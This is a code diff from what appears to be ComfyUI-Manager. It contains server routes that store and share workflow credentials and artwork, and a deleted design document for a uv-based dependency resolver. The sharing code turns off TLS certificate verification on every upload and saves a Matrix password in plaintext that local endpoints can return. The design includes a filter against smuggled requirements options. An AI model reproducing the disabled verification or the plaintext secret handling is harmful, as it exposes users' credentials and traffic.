||||
if not os.path.exists(os.path.join(context.manager_files_path, ".youml")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, ".youml"), "r") as f:
|
||||
youml_settings = f.read().strip()
|
||||
return youml_settings if youml_settings else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def set_youml_settings(settings):
|
||||
with open(os.path.join(context.manager_files_path, ".youml"), "w") as f:
|
||||
f.write(settings)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_openart_auth")
|
||||
async def api_get_openart_auth(request):
|
||||
# print("Getting stored Matrix credentials...")
|
||||
openart_key = get_openart_auth()
|
||||
if not openart_key:
|
||||
return web.Response(status=404)
|
||||
return web.json_response({"openart_key": openart_key})
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/set_openart_auth")
|
||||
async def api_set_openart_auth(request):
|
||||
json_data = await request.json()
|
||||
openart_key = json_data['openart_key']
|
||||
with open(os.path.join(context.manager_files_path, ".openart_key"), "w") as f:
|
||||
f.write(openart_key)
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_matrix_auth")
|
||||
async def api_get_matrix_auth(request):
|
||||
# print("Getting stored Matrix credentials...")
|
||||
matrix_auth = get_matrix_auth()
|
||||
if not matrix_auth:
|
||||
return web.Response(status=404)
|
||||
return web.json_response(matrix_auth)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/youml/settings")
|
||||
async def api_get_youml_settings(request):
|
||||
youml_settings = get_youml_settings()
|
||||
if not youml_settings:
|
||||
return web.Response(status=404)
|
||||
return web.json_response(json.loads(youml_settings))
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/youml/settings")
|
||||
async def api_set_youml_settings(request):
|
||||
json_data = await request.json()
|
||||
set_youml_settings(json.dumps(json_data))
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_comfyworkflows_auth")
|
||||
async def api_get_comfyworkflows_auth(request):
|
||||
# Check if the user has provided Matrix credentials in a file called 'matrix_accesstoken'
|
||||
# in the same directory as the ComfyUI base folder
|
||||
# print("Getting stored Comfyworkflows.com auth...")
|
||||
comfyworkflows_auth = get_comfyworkflows_auth()
|
||||
if not comfyworkflows_auth:
|
||||
return web.Response(status=404)
|
||||
return web.json_response({"comfyworkflows_sharekey": comfyworkflows_auth})
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
|
||||
async def set_esheep_workflow_and_images(request):
|
||||
json_data = await request.json()
|
||||
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
|
||||
json.dump(json_data, file, indent=4)
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
|
||||
async def get_esheep_workflow_and_images(request):
|
||||
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
|
||||
data = json.load(file)
|
||||
return web.Response(status=200, text=json.dumps(data))
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
|
||||
async def get_matrix_dep_status(request):
|
||||
if matrix_nio_is_available:
|
||||
return web.Response(status=200, text='available')
|
||||
else:
|
||||
return web.Response(status=200, text='unavailable')
|
||||
|
||||
|
||||
def set_matrix_auth(json_data):
|
||||
homeserver = json_data['homeserver']
|
||||
username = json_data['username']
|
||||
password = json_data['password']
|
||||
with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
|
||||
f.write("\n".join([homeserver, username, password]))
|
||||
|
||||
|
||||
def set_comfyworkflows_auth(comfyworkflows_sharekey):
|
||||
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
|
||||
f.write(comfyworkflows_sharekey)
|
||||
|
||||
|
||||
def has_provided_matrix_auth(matrix_auth):
|
||||
return matrix_auth['homeserver'].strip() and matrix_auth['username'].strip() and matrix_auth['password'].strip()
|
||||
|
||||
|
||||
def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
|
||||
return comfyworkflows_sharekey.strip()
|
||||
|
||||
|
||||
@PromptServer.instance.routes.post("/v2/manager/share")
|
||||
async def share_art(request):
|
||||
# get json data
|
||||
json_data = await request.json()
|
||||
|
||||
matrix_auth = json_data['matrix_auth']
|
||||
comfyworkflows_sharekey = json_data['cw_auth']['cw_sharekey']
|
||||
|
||||
set_matrix_auth(matrix_auth)
|
||||
set_comfyworkflows_auth(comfyworkflows_sharekey)
|
||||
|
||||
share_destinations = json_data['share_destinations']
|
||||
credits = json_data['credits']
|
||||
title = json_data['title']
|
||||
description = json_data['description']
|
||||
is_nsfw = json_data['is_nsfw']
|
||||
prompt = json_data['prompt']
|
||||
potential_outputs = json_data['potential_outputs']
|
||||
selected_output_index = json_data['selected_output_index']
|
||||
|
||||
try:
|
||||
output_to_share = potential_outputs[int(selected_output_index)]
|
||||
except Exception:
|
||||
# for now, pick the first output
|
||||
output_to_share = potential_outputs[0]
|
||||
|
||||
assert output_to_share['type'] in ('image', 'output')
|
||||
output_dir = folder_paths.get_output_directory()
|
||||
|
||||
if output_to_share['type'] == 'image':
|
||||
asset_filename = output_to_share['image']['filename']
|
||||
asset_subfolder = output_to_share['image']['subfolder']
|
||||
|
||||
if output_to_share['image']['type'] == 'temp':
|
||||
output_dir = folder_paths.get_temp_directory()
|
||||
else:
|
||||
asset_filename = output_to_share['output']['filename']
|
||||
asset_subfolder = output_to_share['output']['subfolder']
|
||||
|
||||
if asset_subfolder:
|
||||
asset_filepath = os.path.join(output_dir, asset_subfolder, asset_filename)
|
||||
else:
|
||||
asset_filepath = os.path.join(output_dir, asset_filename)
|
||||
|
||||
# get the mime type of the asset
|
||||
assetFileType = mimetypes.guess_type(asset_filepath)[0]
|
||||
|
||||
share_website_host = "UNKNOWN"
|
||||
if "comfyworkflows" in share_destinations:
|
||||
share_website_host = "https://comfyworkflows.com"
|
||||
share_endpoint = f"{share_website_host}/api"
|
||||
|
||||
# get presigned urls
|
||||
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
|
||||
async with session.post(
|
||||
f"{share_endpoint}/get_presigned_urls",
|
||||
json={
|
||||
"assetFileName": asset_filename,
|
||||
"assetFileType": assetFileType,
|
||||
"workflowJsonFileName": 'workflow.json',
|
||||
"workflowJsonFileType": 'application/json',
|
||||
},
|
||||
) as resp:
|
||||
assert resp.status == 200
|
||||
presigned_urls_json = await resp.json()
|
||||
assetFilePresignedUrl = presigned_urls_json["assetFilePresignedUrl"]
|
||||
assetFileKey = presigned_urls_json["assetFileKey"]
|
||||
workflowJsonFilePresignedUrl = presigned_urls_json["workflowJsonFilePresignedUrl"]
|
||||
workflowJsonFileKey = presigned_urls_json["workflowJsonFileKey"]
|
||||
|
||||
# upload asset
|
||||
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
|
||||
async with session.put(assetFilePresignedUrl, data=open(asset_filepath, "rb")) as resp:
|
||||
assert resp.status == 200
|
||||
|
||||
# upload workflow json
|
||||
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
|
||||
async with session.put(workflowJsonFilePresignedUrl, data=json.dumps(prompt['workflow']).encode('utf-8')) as resp:
|
||||
assert resp.status == 200
|
||||
|
||||
model_filenames = extract_model_file_names(prompt['workflow'])
|
||||
model_file_paths = find_file_paths(folder_paths.base_path, model_filenames)
|
||||
|
||||
models_info = {}
|
||||
for filename, filepath in model_file_paths.items():
|
||||
models_info[filename] = {
|
||||
"filename": filename,
|
||||
"sha256_checksum": compute_sha256_checksum(filepath),
|
||||
"relative_path": os.path.relpath(filepath, folder_paths.base_path),
|
||||
}
|
||||
|
||||
# make a POST request to /api/upload_workflow with form data key values
|
||||
async with aiohttp.ClientSession(trust_env=True, connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
|
||||
form = aiohttp.FormData()
|
||||
if comfyworkflows_sharekey:
|
||||
form.add_field("shareKey", comfyworkflows_sharekey)
|
||||
form.add_field("source", "comfyui_manager")
|
||||
form.add_field("assetFileKey", assetFileKey)
|
||||
form.add_field("assetFileType", assetFileType)
|
||||
form.add_field("workflowJsonFileKey", workflowJsonFileKey)
|
||||
form.add_field("sharedWorkflowWorkflowJsonString", json.dumps(prompt['workflow']))
|
||||
form.add_field("sharedWorkflowPromptJsonString", json.dumps(prompt['output']))
|
||||
form.add_field("shareWorkflowCredits", credits)
|
||||
form.add_field("shareWorkflowTitle", title)
|
||||
form.add_field("shareWorkflowDescription", description)
|
||||
form.add_field("shareWorkflowIsNSFW", str(is_nsfw).lower())
|
||||
form.add_field("currentSnapshot", json.dumps(await core.get_current_snapshot()))
|
||||
form.add_field("modelsInfo", json.dumps(models_info))
|
||||
|
||||
async with session.post(
|
||||
f"{share_endpoint}/upload_workflow",
|
||||
data=form,
|
||||
) as resp:
|
||||
assert resp.status == 200
|
||||
upload_workflow_json = await resp.json()
|
||||
workflowId = upload_workflow_json["workflowId"]
|
||||
|
||||
# check if the user has provided Matrix credentials
|
||||
if matrix_nio_is_available and "matrix" in share_destinations:
|
||||
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
|
||||
filename = os.path.basename(asset_filepath)
|
||||
content_type = assetFileType
|
||||
|
||||
try:
|
||||
homeserver = 'matrix.org'
|
||||
if matrix_auth:
|
||||
homeserver = matrix_auth.get('homeserver', 'matrix.org')
|
||||
homeserver = homeserver.replace("http://", "https://")
|
||||
if not homeserver.startswith("https://"):
|
||||
homeserver = "https://" + homeserver
|
||||
|
||||
client = AsyncClient(homeserver, matrix_auth['username'])
|
||||
|
||||
# Login
|
||||
login_resp = await client.login(matrix_auth['password'])
|
||||
if not isinstance(login_resp, LoginResponse) or not login_resp.access_token:
|
||||
await client.close()
|
||||
return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
|
||||
|
||||
# Upload asset
|
||||
with open(asset_filepath, 'rb') as f:
|
||||
upload_resp, _maybe_keys = await client.upload(f, content_type=content_type, filename=filename)
|
||||
asset_data = f.seek(0) or f.read() # get size for info below
|
||||
if not isinstance(upload_resp, UploadResponse) or not upload_resp.content_uri:
|
||||
await client.close()
|
||||
return web.json_response({"error": "Failed to upload asset to Matrix."}, content_type='application/json', status=500)
|
||||
mxc_url = upload_resp.content_uri
|
||||
|
||||
# Upload workflow JSON
|
||||
import io
|
||||
workflow_json_bytes = json.dumps(prompt['workflow']).encode('utf-8')
|
||||
workflow_io = io.BytesIO(workflow_json_bytes)
|
||||
upload_workflow_resp, _maybe_keys = await client.upload(workflow_io, content_type='application/json', filename='workflow.json')
|
||||
workflow_io.seek(0)
|
||||
if not isinstance(upload_workflow_resp, UploadResponse) or not upload_workflow_resp.content_uri:
|
||||
await client.close()
|
||||
return web.json_response({"error": "Failed to upload workflow to Matrix."}, content_type='application/json', status=500)
|
||||
workflow_json_mxc_url = upload_workflow_resp.content_uri
|
||||
|
||||
# Send text message
|
||||
text_content = ""
|
||||
if title:
|
||||
text_content += f"{title}\n"
|
||||
if description:
|
||||
text_content += f"{description}\n"
|
||||
if credits:
|
||||
text_content += f"\ncredits: {credits}\n"
|
||||
await client.room_send(
|
||||
room_id=comfyui_share_room_id,
|
||||
message_type="m.room.message",
|
||||
content={"msgtype": "m.text", "body": text_content}
|
||||
)
|
||||
|
||||
# Send image
|
||||
await client.room_send(
|
||||
room_id=comfyui_share_room_id,
|
||||
message_type="m.room.message",
|
||||
content={
|
||||
"msgtype": "m.image",
|
||||
"body": filename,
|
||||
"url": mxc_url,
|
||||
"info": {
|
||||
"mimetype": content_type,
|
||||
"size": len(asset_data)
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
# Send workflow JSON file
|
||||
await client.room_send(
|
||||
room_id=comfyui_share_room_id,
|
||||
message_type="m.room.message",
|
||||
content={
|
||||
"msgtype": "m.file",
|
||||
"body": "workflow.json",
|
||||
"url": workflow_json_mxc_url,
|
||||
"info": {
|
||||
"mimetype": "application/json",
|
||||
"size": len(workflow_json_bytes)
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
await client.close()
|
||||
|
||||
except:
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
return web.json_response({"error": "An error occurred when sharing your art to Matrix."}, content_type='application/json', status=500)
|
||||
|
||||
return web.json_response({
|
||||
"comfyworkflows": {
|
||||
"url": None if "comfyworkflows" not in share_destinations else f"{share_website_host}/workflows/{workflowId}",
|
||||
},
|
||||
"matrix": {
|
||||
"success": None if "matrix" not in share_destinations else True
|
||||
}
|
||||
}, content_type='application/json', status=200)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,812 +0,0 @@
|
||||
# Architecture Design: Unified Dependency Resolver
|
||||
|
||||
## 1. System Architecture
|
||||
|
||||
### 1.1 Module Location
|
||||
|
||||
```
|
||||
comfyui_manager/
|
||||
├── glob/
|
||||
│ └── manager_core.py # Existing: execute_install_script() call sites (2 locations)
|
||||
├── common/
|
||||
│ ├── manager_util.py # Existing: get_pip_cmd(), PIPFixer, use_uv flag
|
||||
│ ├── cm_global.py # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
|
||||
│ └── unified_dep_resolver.py # New: Unified dependency resolution module
|
||||
├── prestartup_script.py # Existing: config reading, remap_pip_package, cm_global initialization
|
||||
└── legacy/
|
||||
└── manager_core.py # Legacy (not a modification target)
|
||||
cm_cli/
|
||||
└── __main__.py # CLI entry: uv-compile command (on-demand batch resolution)
|
||||
```
|
||||
|
||||
The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
|
||||
It reuses `manager_util` utilities and `cm_global` global state from the same package.
|
||||
|
||||
> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
|
||||
> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
|
||||
> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
|
||||
> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
|
||||
>
|
||||
> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
|
||||
> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
|
||||
> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
|
||||
> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
|
||||
> and will work once real values are provided.
|
||||
|
||||
### 1.2 Overall Flow
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
subgraph INSTALL_TIME["Install Time (immediate)"]
|
||||
MC["manager_core.py<br/>execute_install_script() — 2 locations"]
|
||||
MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
|
||||
MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
|
||||
SKIP --> INST["Run install.py"]
|
||||
PIP --> INST
|
||||
end
|
||||
|
||||
subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
|
||||
CHK{use_unified_resolver?}
|
||||
CHK -->|Yes| UDR
|
||||
CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
|
||||
|
||||
subgraph UDR["UnifiedDepResolver (batch)"]
|
||||
S1["1. collect_requirements()<br/>(ALL installed node packs)"]
|
||||
S2["2. compile_lockfile()"]
|
||||
S3["3. install_from_lockfile()"]
|
||||
S1 --> S2 --> S3
|
||||
end
|
||||
|
||||
UDR -->|Success| FIX["PIPFixer.fix_broken()"]
|
||||
UDR -->|Failure| LAZY
|
||||
LAZY --> FIX2["PIPFixer.fix_broken()"]
|
||||
end
|
||||
```
|
||||
|
||||
> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
|
||||
> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
|
||||
> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
|
||||
> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
|
||||
> (empty values passed); `uv pip compile` handles all conflict resolution natively.
|
||||
>
|
||||
> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
|
||||
> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
|
||||
> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
|
||||
> Both skip per-node pip install when unified mode is active.
|
||||
|
||||
### 1.3 uv Command Strategy
|
||||
|
||||
**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
|
||||
- Do not confuse with `uv lock`
|
||||
- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
|
||||
- This design uses a pip-compatible workflow (`uv pip compile` → `uv pip install -r`)
|
||||
|
||||
**`uv pip install -r`** ← Used instead of `uv pip sync`
|
||||
- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
|
||||
- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
|
||||
|
||||
---
|
||||
|
||||
## 2. Class Design
|
||||
|
||||
### 2.1 UnifiedDepResolver
|
||||
|
||||
```python
|
||||
class UnifiedDepResolver:
|
||||
"""
|
||||
Unified dependency resolver.
|
||||
|
||||
Resolves and installs all dependencies of (installed node packs + new node packs)
|
||||
at once using uv.
|
||||
|
||||
Responsibility scope: Dependency resolution and installation only.
|
||||
install.py execution and PIPFixer calls are handled by the caller (manager_core).
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
node_pack_paths: list[str],
|
||||
base_requirements: list[str] | None = None,
|
||||
blacklist: set[str] | None = None,
|
||||
overrides: dict[str, str] | None = None,
|
||||
downgrade_blacklist: list[str] | None = None,
|
||||
):
|
||||
"""
|
||||
Args:
|
||||
node_pack_paths: List of node pack directory paths
|
||||
base_requirements: Base dependencies (ComfyUI requirements, etc.)
|
||||
blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
|
||||
overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
|
||||
downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
|
||||
"""
|
||||
|
||||
def resolve_and_install(self) -> ResolveResult:
|
||||
"""Execute full pipeline: stale cleanup → collect → compile → install.
|
||||
Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
"""Collect dependencies from all node packs"""
|
||||
|
||||
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
|
||||
"""Generate pinned requirements via uv pip compile"""
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (uv pip install -r)"""
|
||||
```
|
||||
|
||||
### 2.2 Data Classes
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class PackageRequirement:
|
||||
"""Individual package dependency"""
|
||||
name: str # Package name (normalized)
|
||||
spec: str # Original spec (e.g., "torch>=2.0")
|
||||
source: str # Source node pack path
|
||||
|
||||
@dataclass
|
||||
class CollectedDeps:
|
||||
"""All collected dependencies"""
|
||||
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
|
||||
skipped: list[tuple[str, str]] # (package_name, skip_reason)
|
||||
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
|
||||
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
|
||||
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
|
||||
|
||||
@dataclass
|
||||
class LockfileResult:
|
||||
"""Compilation result"""
|
||||
success: bool
|
||||
lockfile_path: str | None # pinned requirements.txt path
|
||||
conflicts: list[str] # Conflict details
|
||||
stderr: str # uv error output
|
||||
|
||||
@dataclass
|
||||
class InstallResult:
|
||||
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
|
||||
success: bool
|
||||
installed: list[str] # Installed packages (stdout parsing)
|
||||
skipped: list[str] # Already installed (stdout parsing)
|
||||
stderr: str # uv stderr output (for failure analysis)
|
||||
|
||||
@dataclass
|
||||
class ResolveResult:
|
||||
"""Full pipeline result"""
|
||||
success: bool
|
||||
collected: CollectedDeps | None
|
||||
lockfile: LockfileResult | None
|
||||
install: InstallResult | None
|
||||
error: str | None
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Core Logic Details
|
||||
|
||||
### 3.1 Dependency Collection (`collect_requirements`)
|
||||
|
||||
```python
|
||||
# Input sanitization: dangerous patterns to reject
|
||||
_DANGEROUS_PATTERNS = re.compile(
|
||||
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
|
||||
r'|--find-links\b|-f\b|.*@\s*file://)',
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
def collect_requirements(self) -> CollectedDeps:
|
||||
requirements = []
|
||||
skipped = []
|
||||
sources = defaultdict(list)
|
||||
extra_index_urls = []
|
||||
|
||||
for path in self.node_pack_paths:
|
||||
# Exclude disabled node packs (directory-based mechanism)
|
||||
# Disabled node packs are actually moved to custom_nodes/.disabled/,
|
||||
# so they should already be excluded from input at this point.
|
||||
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
|
||||
if ('/.disabled/' in path
|
||||
or os.path.basename(os.path.dirname(path)) == '.disabled'
|
||||
or path.rstrip('/').endswith('.disabled')):
|
||||
continue
|
||||
|
||||
req_file = os.path.join(path, "requirements.txt")
|
||||
if not os.path.exists(req_file):
|
||||
continue
|
||||
|
||||
# chardet-based encoding detection (existing robust_readlines pattern)
|
||||
for line in self._read_requirements(req_file):
|
||||
line = line.split('#')[0].strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# 0. Input sanitization (security)
|
||||
if self._DANGEROUS_PATTERNS.match(line):
|
||||
skipped.append((line, f"rejected: dangerous pattern in {path}"))
|
||||
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
|
||||
continue
|
||||
|
||||
# 1. Separate --index-url / --extra-index-url handling
|
||||
# (BEFORE path separator check, because URLs contain '/')
|
||||
if '--index-url' in line or '--extra-index-url' in line:
|
||||
pkg_spec, index_url = self._split_index_url(line)
|
||||
if index_url:
|
||||
extra_index_urls.append(index_url)
|
||||
line = pkg_spec
|
||||
if not line:
|
||||
# Standalone option line (no package prefix)
|
||||
continue
|
||||
|
||||
# 1b. Reject path separators in package name portion
|
||||
pkg_name_part = re.split(r'[><=!~;]', line)[0]
|
||||
if '/' in pkg_name_part or '\\' in pkg_name_part:
|
||||
skipped.append((line, f"rejected: path separator in package name"))
|
||||
continue
|
||||
|
||||
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
|
||||
pkg_spec = self._remap_package(line)
|
||||
|
||||
# 3. Blacklist check (cm_global.pip_blacklist)
|
||||
pkg_name = self._extract_package_name(pkg_spec)
|
||||
if pkg_name in self.blacklist:
|
||||
skipped.append((pkg_spec, "blacklisted"))
|
||||
continue
|
||||
|
||||
# 4. Downgrade blacklist check (includes version comparison)
|
||||
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
|
||||
skipped.append((pkg_spec, "downgrade blacklisted"))
|
||||
continue
|
||||
|
||||
# 5. Collect (no dedup — uv handles resolution)
|
||||
req = PackageRequirement(
|
||||
name=pkg_name,
|
||||
spec=pkg_spec,
|
||||
source=path,
|
||||
)
|
||||
requirements.append(req)
|
||||
sources[pkg_name].append((path, pkg_spec))
|
||||
|
||||
return CollectedDeps(
|
||||
requirements=requirements,
|
||||
skipped=skipped,
|
||||
sources=dict(sources),
|
||||
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
|
||||
)
|
||||
|
||||
def _split_index_url(self, line: str) -> tuple[str, str | None]:
|
||||
"""Split 'package_name --index-url URL' → (package_name, URL).
|
||||
|
||||
Also handles standalone ``--index-url URL`` and
|
||||
``--extra-index-url URL`` lines (with no package prefix).
|
||||
"""
|
||||
# Handle --extra-index-url first (contains '-index-url' as substring
|
||||
# but NOT '--index-url' due to the extra-index prefix)
|
||||
for option in ('--extra-index-url', '--index-url'):
|
||||
if option in line:
|
||||
parts = line.split(option, 1)
|
||||
pkg_spec = parts[0].strip()
|
||||
url = parts[1].strip() if len(parts) == 2 else None
|
||||
return pkg_spec, url
|
||||
return line, None
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
|
||||
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
|
||||
|
||||
Same logic as manager_core.py's is_blacklisted():
|
||||
- No version spec and already installed → block (prevent reinstall)
|
||||
- Operator is one of ['<=', '==', '<', '~='] and
|
||||
installed version >= requested version → block (prevent downgrade)
|
||||
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
installed_packages = manager_util.get_installed_packages()
|
||||
|
||||
# Version spec parsing (same pattern as existing is_blacklisted())
|
||||
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
|
||||
match = re.search(pattern, pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed_packages:
|
||||
return True
|
||||
elif match.group(2) in ['<=', '==', '<', '~=']:
|
||||
# Downgrade operator: block if installed version >= requested version
|
||||
if pkg_name in installed_packages:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Package name remapping based on cm_global.pip_overrides.
|
||||
Reuses existing remap_pip_package() logic."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
|
||||
return remapped
|
||||
return pkg
|
||||
```
|
||||
|
||||
### 3.2 Lockfile Generation (`compile_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
|
||||
2. Write collected requirements and base constraints to temp files
|
||||
3. Execute `uv pip compile` with options:
|
||||
- `--output-file` (pinned requirements path within temp dir)
|
||||
- `--python` (current interpreter)
|
||||
- `--constraint` (base dependencies)
|
||||
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
|
||||
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
|
||||
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
|
||||
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
|
||||
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
|
||||
|
||||
### 3.3 Dependency Installation (`install_from_lockfile`)
|
||||
|
||||
**Behavior:**
|
||||
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
|
||||
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
|
||||
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
|
||||
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
|
||||
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
|
||||
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
|
||||
|
||||
### 3.4 uv Command Resolution
|
||||
|
||||
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
|
||||
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
|
||||
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
|
||||
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
|
||||
|
||||
### 3.5 Stale Temp File Cleanup
|
||||
|
||||
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
|
||||
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
|
||||
- Deletes directories older than `max_age_seconds` (default: 1 hour)
|
||||
- Silently ignores `OSError` (permission issues, etc.)
|
||||
|
||||
### 3.6 Credential Redaction
|
||||
|
||||
```python
|
||||
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
|
||||
|
||||
def _redact_url(self, url: str) -> str:
|
||||
"""Mask authentication info in URLs. user:pass@host → ****@host"""
|
||||
return self._CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
```
|
||||
|
||||
All `--extra-index-url` logging passes through `_redact_url()`:
|
||||
```python
|
||||
# Logging example within compile_lockfile()
|
||||
for url in deps.extra_index_urls:
|
||||
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
|
||||
cmd += ["--extra-index-url", url] # Original URL passed to actual command
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Existing Code Integration
|
||||
|
||||
### 4.1 manager_core.py Modification Points
|
||||
|
||||
**2 `execute_install_script()` locations — both skip deps in unified mode:**
|
||||
|
||||
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
|
||||
|
||||
#### 4.1.2 Standalone Function execute_install_script()
|
||||
|
||||
**Both locations use the same pattern when unified mode is active:**
|
||||
|
||||
1. `lazy_mode=True` → schedule and return early (unchanged)
|
||||
